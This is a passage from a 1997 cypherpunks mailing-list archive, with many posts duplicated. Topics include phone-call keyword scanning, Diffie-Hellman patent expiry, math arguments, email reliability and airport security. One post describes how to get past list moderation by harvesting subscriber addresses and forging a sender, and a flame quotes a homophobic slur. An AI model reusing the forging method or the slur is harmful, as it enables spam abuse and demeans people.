Big Joey's calls from Vinnie, but don't care about his wife's calls.

Some of the problems are with modeling speech well enough to 
do good algorithms; some are just getting enough horsepower to do it
in real time.  Can "They" afford enough DSP chips to do the job?
They certainly can't follow a significant fraction of domestic traffic,
and probably not even of US-to-overseas international traffic,
but they may be able to pick out calls to/from phones of usual suspects,
at least if they're mainly trying to filter for what tapes to listen to.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 10:27:44 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Keyword scanning/speech recognition
Message-ID: <199701201827.KAA15122@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:34 AM 1/19/97, pgut001@cs.auckland.ac.nz wrote:
>I was talking to someone recently about the feasibilty of 
>keyword-scanning phone conversations.  He thought it was probably still 
>beyond the reach of current technology, I thought it wasn't 

I'd guess it's in-between, and it depends a _lot_ on how error-tolerant
you are - do you want to catch them _all_, or just reduce the
set of tapes that you'll have humans listen to later, since you're
trolling for leads but don't mind missing the occasional one?
Speaker-dependent isolated-word recognition is pretty doable.  
Speaker-independent small-vocabulary isolated-word is also pretty good 
(though the AT&T calling-card bot does a better job when I read it numbers 
than when I rapidly tell it "calling card" early in its dialog.)  
Connected-word is a lot harder.

But word-scanning isn't the only thing "They" would troll for -
it's probably easier to look for possible matches for specific voices,
since you don't have to be too accurate.  You want to catch
Big Joey's calls from Vinnie, but don't care about his wife's calls.

Some of the problems are with modeling speech well enough to 
do good algorithms; some are just getting enough horsepower to do it
in real time.  Can "They" afford enough DSP chips to do the job?
They certainly can't follow a significant fraction of domestic traffic,
and probably not even of US-to-overseas international traffic,
but they may be able to pick out calls to/from phones of usual suspects,
at least if they're mainly trying to filter for what tapes to listen to.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 09:45:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Eudora PGP
Message-ID: <3.0.1.32.19970120085423.04f5b050@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:07 AM 1/18/97 -0800, Some Anonymous Remailer User wrote:
>If somebody wants to play with the new Eudora PGP
>but don't have Eudora Pro 3.0, it is available at
>ftp://ftp.catalog.com/aussie/biscoe/Eudora30.zip

Rather than ripping off a commercial product,
from a company that's nice enough to give away free versions,
you can get Eudora Lite 3.0.1 from www.eudora.com;
I haven't yet installed PGPmail with it, but it should work,
and meanwhile it's nicely junking the more common flamers.
It is a beta version, but there should be another out soon.

>Btw, is it legal for a moderator to let messages
>like this one through to the list...?

This list isn't currently moderated.  The legality if it were
is unclear.
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 10:10:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Eudora PGP
Message-ID: <199701201810.KAA14867@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:07 AM 1/18/97 -0800, Some Anonymous Remailer User wrote:
>If somebody wants to play with the new Eudora PGP
>but don't have Eudora Pro 3.0, it is available at
>ftp://ftp.catalog.com/aussie/biscoe/Eudora30.zip

Rather than ripping off a commercial product,
from a company that's nice enough to give away free versions,
you can get Eudora Lite 3.0.1 from www.eudora.com;
I haven't yet installed PGPmail with it, but it should work,
and meanwhile it's nicely junking the more common flamers.
It is a beta version, but there should be another out soon.

>Btw, is it legal for a moderator to let messages
>like this one through to the list...?

This list isn't currently moderated.  The legality if it were
is unclear.
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Dierks <timd@consensus.com>
Date: Mon, 20 Jan 1997 11:13:00 -0800 (PST)
To: Amanda Walker <amanda@intercon.com>
Subject: Re: Question on Diffie-Hellman patent
Message-ID: <199701201913.LAA15649@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:24 AM -0500 1/20/97, Amanda Walker wrote:
>Please excuse if this is a FAQ.
>
>I'd been operating under the assumption that the Diffie-Hellman patent
>(4200770) will expire on April 29, 1997 (17 years after the date of issue).
>Several people have recently told me it doesn't expire until September,
>evidently confusing the date of issue with the filing date.  However,
>does anyone know of another patent (Hellman-Merkle, perhaps?) that would hve
>an impact on software that does D-H key exchange?  We've got some planned
>uses
>of DH; while it doesn't seem cost effective to pay to license DH at this
>point, that six-month difference is something I need to plan around if
>necessary.

As a result of the GATT treaty, patent expiration times for some US patents
changed. The international standard is 20 years from filing, while old US
law was 17 years from issue. On the day which GATT took force for the US
(June 8, 1995), all outstanding patents' expiration dates were changed to
20 years from filing or 17 years from issue, whichever is later. This
affects some cryptography patents as follows:

Here's a summary of some relevant crypto patents:

 Name             Number     Filed          Issued          Expires

Diffie-Hellman   4,200,770  Sept. 6, 1977  Apr. 29, 1980   Sept. 6, 1997
Hellman-Merkle   4,218,582  Oct. 6, 1977   Aug. 19, 1980   Oct. 6, 1997
RSA              4,405,829  Dec. 14, 1977  Sept. 20, 1983  Sept. 20, 2000

Data from <http://patents.cnidr.org/patbib_index.html>

References:
	<http://www.lightlink.com/bbm/gatt.html>
	<http://www.cushman.com/articles/artpat10.htm>

 - Tim

Tim Dierks - timd@consensus.com - www.consensus.com
     Software Haruspex - Consensus Development
  Developer of SSL Plus: SSL 3.0 Integration Suite







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 10:18:27 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: UNS_top
Message-ID: <3.0.1.32.19970120101512.04f5d958@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 10:21:13 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: INV_ade
Message-ID: <3.0.1.32.19970120101722.04f5a7c0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 11:14:36 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: INV_ade
Message-ID: <199701201914.LAA15675@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Mon, 20 Jan 1997 07:27:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: infinity & set membership
Message-ID: <9700208537.AA853784822@smtplink.alis.ca>
MIME-Version: 1.0
Content-Type: text/plain



>The argument I supplied earlier for the rational nature of 0.1234...
>still holds.

>Math Man

Aleph-Naught bottles of beer on the wall. 
Aleph-Naught bottles of beer.
If some finite subset should happen to fall,
There'll be Aleph-Naught bottles of beer on the wall.

For those really long road trips, or when you choose to read all the cypherpunks
traffic.

James

Q 1. Describe the history of the papacy from its origins to the present day,
commenting specifically but not exclusively on its effects on the development of
14th century South America. Describe in detail. Be brief concise and specific.
Give examples.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Mon, 20 Jan 1997 08:27:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: infinity & set membership
Message-ID: <199701201627.IAA12857@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>The argument I supplied earlier for the rational nature of 0.1234...
>still holds.

>Math Man

Aleph-Naught bottles of beer on the wall. 
Aleph-Naught bottles of beer.
If some finite subset should happen to fall,
There'll be Aleph-Naught bottles of beer on the wall.

For those really long road trips, or when you choose to read all the cypherpunks
traffic.

James

Q 1. Describe the history of the papacy from its origins to the present day,
commenting specifically but not exclusively on its effects on the development of
14th century South America. Describe in detail. Be brief concise and specific.
Give examples.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 20 Jan 1997 07:33:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: UNS_top
Message-ID: <1.5.4.32.19970120152824.0068df5c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


01-16-97. Reuters:
 
"Unstoppable Internet will defy controls"

 Governments which seek to restrain the freedom of speech and tax 
 the vast electronic commerce spawned by the Internet will almost certainly 
 be wasting their time, experts say, and that any attempt to control 
 traffic over the Internet will be futile. Governments in China, Burma and 
 Singapore have already tried to discipline this on-line activity with 
 minimal success.

 Dr Bob Glass of Sun Microsystems Inc said any attempt by governments to 
 curtail any of this would be a waste of time. Not even the most powerful 
 computers will be able to effectively patrol the world's telephone lines. 
 Individual computer experts will always be one step ahead.

 "Big brother is out there trying to monitor this, but I don't think they're
 competent enough," he said. "Government is not really aware of the
 magnitude of money exchange on the web, but there's really not much they
 can do about it."

 Professor Patrick Purcell from London's Imperial College describes the
 Internet as a highly subversive phenomenom for international
 telecommunications, for a nation's state security and for international
 commerce.

-----

UNS_top





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 20 Jan 1997 08:31:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: UNS_top
Message-ID: <199701201631.IAA12930@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


01-16-97. Reuters:
 
"Unstoppable Internet will defy controls"

 Governments which seek to restrain the freedom of speech and tax 
 the vast electronic commerce spawned by the Internet will almost certainly 
 be wasting their time, experts say, and that any attempt to control 
 traffic over the Internet will be futile. Governments in China, Burma and 
 Singapore have already tried to discipline this on-line activity with 
 minimal success.

 Dr Bob Glass of Sun Microsystems Inc said any attempt by governments to 
 curtail any of this would be a waste of time. Not even the most powerful 
 computers will be able to effectively patrol the world's telephone lines. 
 Individual computer experts will always be one step ahead.

 "Big brother is out there trying to monitor this, but I don't think they're
 competent enough," he said. "Government is not really aware of the
 magnitude of money exchange on the web, but there's really not much they
 can do about it."

 Professor Patrick Purcell from London's Imperial College describes the
 Internet as a highly subversive phenomenom for international
 telecommunications, for a nation's state security and for international
 commerce.

-----

UNS_top






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 20 Jan 1997 10:28:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701201628.IAA12866@toad.com>
Message-ID: <199701201828.KAA15491@netcom11.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 > If infinity does not have predecessors (ie is immune to
 > normal arithmetic operations) then it is not possible for a
 > sequence to approach it by adding a finite amount to
 > succesive terms in order to approach it. This means that a
 > sequence can not meaningfuly be asymptotic with infinity
 > (meaning I have to be able to draw a asymptote, at least in
 > theory, in order to demonstrate the limit).

 > If infinity is not a number, how is it possible to have a
 > definite number (ie transfinite) which is larger than it?

 > My contention is that number theory as you present it is
 > playing fast and loose with the concept of infinity not
 > being a number or visa versa.

The problem here is that the terms "infinity" and "number" are
used to refer to many different things in mathematics.  We use
"infinity" as a term for transfinite Cardinals and Ordinals, but
also use it when describing convergence on the reals, to indicate
that a sequence increases without bound.  We use it in calculus
to describe the limits of integration over all real numbers, a
set which does not include any infinite numbers at all.

Similar we use the term "number" to refer to Cardinals, Ordinals,
Reals, Integers, Complex, Quaternians, or whatever, hoping that
what we mean by it will be clear from the context.

With respect to the Real numbers, infinity is not a number, but
simply a way of saying something increases without bound or that
we wish to include all the positive or negative reals when
performing some mathematical operation.

With regard to Ordinals and Cardinals, not only is infinity a
number, but there are an uncountable number of different
infinities, which cannot be placed in 1-1 correspondence with
each other.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Mon, 20 Jan 1997 11:13:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201913.LAA15647@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 > If infinity does not have predecessors (ie is immune to
 > normal arithmetic operations) then it is not possible for a
 > sequence to approach it by adding a finite amount to
 > succesive terms in order to approach it. This means that a
 > sequence can not meaningfuly be asymptotic with infinity
 > (meaning I have to be able to draw a asymptote, at least in
 > theory, in order to demonstrate the limit).

 > If infinity is not a number, how is it possible to have a
 > definite number (ie transfinite) which is larger than it?

 > My contention is that number theory as you present it is
 > playing fast and loose with the concept of infinity not
 > being a number or visa versa.

The problem here is that the terms "infinity" and "number" are
used to refer to many different things in mathematics.  We use
"infinity" as a term for transfinite Cardinals and Ordinals, but
also use it when describing convergence on the reals, to indicate
that a sequence increases without bound.  We use it in calculus
to describe the limits of integration over all real numbers, a
set which does not include any infinite numbers at all.

Similar we use the term "number" to refer to Cardinals, Ordinals,
Reals, Integers, Complex, Quaternians, or whatever, hoping that
what we mean by it will be clear from the context.

With respect to the Real numbers, infinity is not a number, but
simply a way of saying something increases without bound or that
we wish to include all the positive or negative reals when
performing some mathematical operation.

With regard to Ordinals and Cardinals, not only is infinity a
number, but there are an uncountable number of different
infinities, which cannot be placed in 1-1 correspondence with
each other.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 20 Jan 1997 11:33:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and the Doc
In-Reply-To: <32E1BBD9.6A0C@gte.net>
Message-ID: <v03007810af0960a6b85c@[204.31.235.152]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:19 PM -0800 1/19/97, WinSock Remailer wrote:
>Bill Frantz <frantz@netcom.com> writes:
>
>> I hope if such a system is set up, people who use it will realize that
>> email is not 100% reliable.  Just because algebra.com sent mail to
>> toad.com, doesn't mean that toad.com actually received it.  A small
>> fraction of a percent of these messages will be lost.
>
>Failing something catastrophic like a disk failure or a host down for
>more than a week, this should not be the case.  Almost every site
>running sendmail has the Os ("SuperSafe") option set.  That means
>sendmail will not respond to a "." at the end of a DATA command with
>SMTP code 250 until it has written the incoming message (and queue
>info) to disk and called fsync.  Thus, you may get 2 copies of a
>message, but mail messages should not just disappear regularly at all,
>even if the network goes down or a machine crashes.
>
>Non-sendmail MTA's tend to be even more strict about this, not even
>allowing this behavior to be disabled.

About 9 months ago, I lost somewhere between 50 and 100 email messages
because they were written to a disk with a corrupted file system.  Now
failures of this kind may be in the category of "catastrophic disk
failure", but in my unfortunate experience, they are not all that uncommon.

Note that since I lost multiple messages due to one failure, tests of the
form, "Once is happenstance, twice coincidence, three or more is
conspiracy" might say, "conspiracy" even for just one failure.  The chances
of this test criteria error increase for frequent posters.

At 4:02 AM -0800 1/20/97, Toto asked:
>  Are there any critereon established, yet, as to what type of content
>will be necessary for a letter to get 'lost'?

See the above discussion of disk failure.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 20 Jan 1997 13:42:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and the Doc
Message-ID: <199701202142.NAA19130@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 9:19 PM -0800 1/19/97, WinSock Remailer wrote:
>Bill Frantz <frantz@netcom.com> writes:
>
>> I hope if such a system is set up, people who use it will realize that
>> email is not 100% reliable.  Just because algebra.com sent mail to
>> toad.com, doesn't mean that toad.com actually received it.  A small
>> fraction of a percent of these messages will be lost.
>
>Failing something catastrophic like a disk failure or a host down for
>more than a week, this should not be the case.  Almost every site
>running sendmail has the Os ("SuperSafe") option set.  That means
>sendmail will not respond to a "." at the end of a DATA command with
>SMTP code 250 until it has written the incoming message (and queue
>info) to disk and called fsync.  Thus, you may get 2 copies of a
>message, but mail messages should not just disappear regularly at all,
>even if the network goes down or a machine crashes.
>
>Non-sendmail MTA's tend to be even more strict about this, not even
>allowing this behavior to be disabled.

About 9 months ago, I lost somewhere between 50 and 100 email messages
because they were written to a disk with a corrupted file system.  Now
failures of this kind may be in the category of "catastrophic disk
failure", but in my unfortunate experience, they are not all that uncommon.

Note that since I lost multiple messages due to one failure, tests of the
form, "Once is happenstance, twice coincidence, three or more is
conspiracy" might say, "conspiracy" even for just one failure.  The chances
of this test criteria error increase for frequent posters.

At 4:02 AM -0800 1/20/97, Toto asked:
>  Are there any critereon established, yet, as to what type of content
>will be necessary for a letter to get 'lost'?

See the above discussion of disk failure.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 20 Jan 1997 11:35:09 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
In-Reply-To: <199701201612.IAA12435@toad.com>
Message-ID: <v03007813af096f7633a7@[204.31.235.152]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:41 PM -0800 1/16/97, Adam Back wrote:
>Bill Frantz <frantz@netcom.com> writes:
>> At 4:39 AM -0800 1/16/97, Adam Back wrote:
>> >- PIN for phone's RSA signature keys
>>
>> It is not clear you need signatures in the secure phone case.  Eric
>> Blossom's 3DES uses straight DH for key exchange with verbal verification
>> that both ends are using the same key.
>
>How does Eric's box display the negotiated key to the user?  (I don't
>recall the pair I saw having displays).

I have not seen the production box, I am going from my memory of Eric's
preproduction description at a meeting last spring.  I hope someone who
knows what they are talking about will butt in here if I am wrong.

The box has a 3 or 4 digit display which displays "something" about the
3DES key, where "something" is some of the bits, or a hash, or ...  With 3
decimal digits, a MIM attacker has a 999 out of 1000 chance of getting
caught.

-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 20 Jan 1997 13:42:20 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <199701202142.NAA19098@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:41 PM -0800 1/16/97, Adam Back wrote:
>Bill Frantz <frantz@netcom.com> writes:
>> At 4:39 AM -0800 1/16/97, Adam Back wrote:
>> >- PIN for phone's RSA signature keys
>>
>> It is not clear you need signatures in the secure phone case.  Eric
>> Blossom's 3DES uses straight DH for key exchange with verbal verification
>> that both ends are using the same key.
>
>How does Eric's box display the negotiated key to the user?  (I don't
>recall the pair I saw having displays).

I have not seen the production box, I am going from my memory of Eric's
preproduction description at a meeting last spring.  I hope someone who
knows what they are talking about will butt in here if I am wrong.

The box has a 3 or 4 digit display which displays "something" about the
3DES key, where "something" is some of the bits, or a hash, or ...  With 3
decimal digits, a MIM attacker has a 999 out of 1000 chance of getting
caught.

-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: abostick@netcom.com (Alan Bostick)
Date: Mon, 20 Jan 1997 15:17:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701200614.WAA01733@toad.com>
Message-ID: <yH84y8m9LIhS085yn@netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


What started this thread off was Lucky Green's observation of the beerkegs
getting through the security checkpoints at the Oakland Airport.

Just yesterday I flew from Seattle's Sea-Tac Airport to Oakland, on 
Southwest Airlines.  My partner and I were (we thought) checking in just
in time to  be in the second boarding group. (Explanation of Southwest's
lo-tech allocation of seat choice elided).  An unacompanied woman was
the next person ahead of us in the line.

She presented the gate agent with *four* tickets and *four* IDs.  "Where
are these other people?" the agent asked.  "They're parking the car,"
said the traveler.  The agent gave her all four boarding passes; and my
companion and I were bumped to the third boarding group.

The woman in front of us was white and middle-class-looking, traveling
with what appeared to be her family.  One wonders what would have
happened were she a swarthy man wearing robes and a burnoose.  Or if she
were just wearing shabby clothes. 


-- 
Alan Bostick               | To achieve harmony in bad taste is the height
mailto:abostick@netcom.com | of elegance.
news:alt.grelb             |      Jean Genet
http://www.alumni.caltech.edu/~abostick




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Bostick <abostick@netcom.com>
Date: Mon, 20 Jan 1997 16:40:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <199701210040.QAA24710@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


What started this thread off was Lucky Green's observation of the beerkegs
getting through the security checkpoints at the Oakland Airport.

Just yesterday I flew from Seattle's Sea-Tac Airport to Oakland, on 
Southwest Airlines.  My partner and I were (we thought) checking in just
in time to  be in the second boarding group. (Explanation of Southwest's
lo-tech allocation of seat choice elided).  An unacompanied woman was
the next person ahead of us in the line.

She presented the gate agent with *four* tickets and *four* IDs.  "Where
are these other people?" the agent asked.  "They're parking the car,"
said the traveler.  The agent gave her all four boarding passes; and my
companion and I were bumped to the third boarding group.

The woman in front of us was white and middle-class-looking, traveling
with what appeared to be her family.  One wonders what would have
happened were she a swarthy man wearing robes and a burnoose.  Or if she
were just wearing shabby clothes. 


-- 
Alan Bostick               | To achieve harmony in bad taste is the height
mailto:abostick@netcom.com | of elegance.
news:alt.grelb             |      Jean Genet
http://www.alumni.caltech.edu/~abostick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Richard Schroeppel <rcs@cs.arizona.edu>
Date: Mon, 20 Jan 1997 11:16:25 -0800 (PST)
To: amanda@intercon.com
Subject: DHM patent
Message-ID: <199701201916.LAA15703@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


re: A.Walker's query about expiration date of DH patent.

(I'm not a lawyer: This is just my opinion.  Get advice from a professional
for making your business decisions.)

A couple of years ago, as part of the legislation implementing the
GATT treaty, Congress changed the patent lifetime.  The old rule was
17 years from grant date; the new rule is 20 years from filing date.
There were various transition rules; one was that holders of current
patents could select either rule.  Presumably they will choose the
rule that gives the later expiration date.  In the case of the DHM
patent #4200770, this gives then a few more months, to Sept. 6 1997.

Roger Schlafly has made a reasonable case that the DHM patent is
invalid because the invention was "published" more than a year before
the patent was filed.  (He dug up a copy of a preprint they were
circulating with a stamped received-date of ?May 1976?.)

There is also a patent by Hellman & Merkle that seems to deal with
the (busted) knapsack cryptosystem.  It's number 4218582, filed
Oct 6, 1977, granted Aug 19, 1980.  My cursory reading shows that
it includes the math both for knapsack crypto and for doing
modular exponentiation.  It might be a good idea to look this over
to make sure it doesn't affect your plans.

Rich Schroeppel   rcs@cs.arizona.edu






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Amanda Walker <amanda@intercon.com>
Date: Mon, 20 Jan 1997 10:12:41 -0800 (PST)
To: cryptography@c2.net
Subject: Question on Diffie-Hellman patent
Message-ID: <199701201812.KAA14890@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Please excuse if this is a FAQ.

I'd been operating under the assumption that the Diffie-Hellman patent
(4200770) will expire on April 29, 1997 (17 years after the date of issue).
Several people have recently told me it doesn't expire until September,
evidently confusing the date of issue with the filing date.  However,
does anyone know of another patent (Hellman-Merkle, perhaps?) that would hve 
an impact on software that does D-H key exchange?  We've got some planned uses 
of DH; while it doesn't seem cost effective to pay to license DH at this 
point, that six-month difference is something I need to plan around if 
necessary.


Thanks,

Amanda Walker
Senior Software Engineer
InterCon Systems Corporation






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 11:27:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: a comment of Vulis's
Message-ID: <199701201925.LAA15760@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr Vulis made a comment that there was the threat of persons in favor of the
moderator being able to get away with slander while those victims being
unable to respond.  I assume that the moderator will refrain from such
action, but if something were actually cut, I could get it through anyway.
At least until majordomo is secured against such intrusion.

The list won't be truly secure until no one can request the subscription list.
If I felt that I needed to get my message past the moderator, I would just
request the complete listing of cypherpunks subscribers, copy that into the
Bcc: field of eudora, and forge an address.  Now my message would get
through, my computer would probably be tied up for an hour or so
distributing my statement, but my message would get through.
The security necessary to counteract this would be to either make the
subscription list unavailable, or delete the actual addresses from the list.
For instance Sean Roach <roach_s@alph.swosu.edu> would become Sean Roach.
Now people could still see who was on the list, but couldn't use it to
negate the established distribution system.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 13:44:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: a comment of Vulis's
Message-ID: <199701202144.NAA19211@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr Vulis made a comment that there was the threat of persons in favor of the
moderator being able to get away with slander while those victims being
unable to respond.  I assume that the moderator will refrain from such
action, but if something were actually cut, I could get it through anyway.
At least until majordomo is secured against such intrusion.

The list won't be truly secure until no one can request the subscription list.
If I felt that I needed to get my message past the moderator, I would just
request the complete listing of cypherpunks subscribers, copy that into the
Bcc: field of eudora, and forge an address.  Now my message would get
through, my computer would probably be tied up for an hour or so
distributing my statement, but my message would get through.
The security necessary to counteract this would be to either make the
subscription list unavailable, or delete the actual addresses from the list.
For instance Sean Roach <roach_s@alph.swosu.edu> would become Sean Roach.
Now people could still see who was on the list, but couldn't use it to
negate the established distribution system.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 11:27:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: [FLAME] [PURE VITROL] Re: IMDMP: SOURCE...
Message-ID: <199701201925.LAA15771@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:05 PM 1/18/97 EST, Dr.Dimitri Vulis wrote:
>> Non sequitor.
>            ^
>Do "cypher punks" use lousy spelling as a kind of "poor fag's crypto"?

I'm a heterosexual, so I may be off the mark here, but.  Reguarding my
history books, Mr. Hoover (can't remember his first name), of F.B.I. fame, a
reported homosexual, was one of the biggest gaybashers of his era.  By your
acidic comments, are you trying to tell us something?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 20 Jan 1997 11:48:15 -0800 (PST)
To: Alan <alano@linda.teleport.com>
Subject: Re: microcurrency: Netscape vs. Microsoft
In-Reply-To: <Pine.GSO.3.95.970118145332.29052B-100000@linda.teleport.com>
Message-ID: <199701201946.LAA14921@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


[microcurrency]
>It will also not catch on until there are better standards involving
>microcurrency transactions amongst the vendors.  It would also help if
>there was a single interface (or "helper app") for whatever vendor you
>decided to go with.

as I see it, I think there are a few key standards that need 
to be devised: 

1. an html tag that indicates how much a link costs, probably in
the <a href="" cost=xx> type syntax

2. modification of http to support a payment mechanism, by sending
a token.

3. browser "piggy bank".

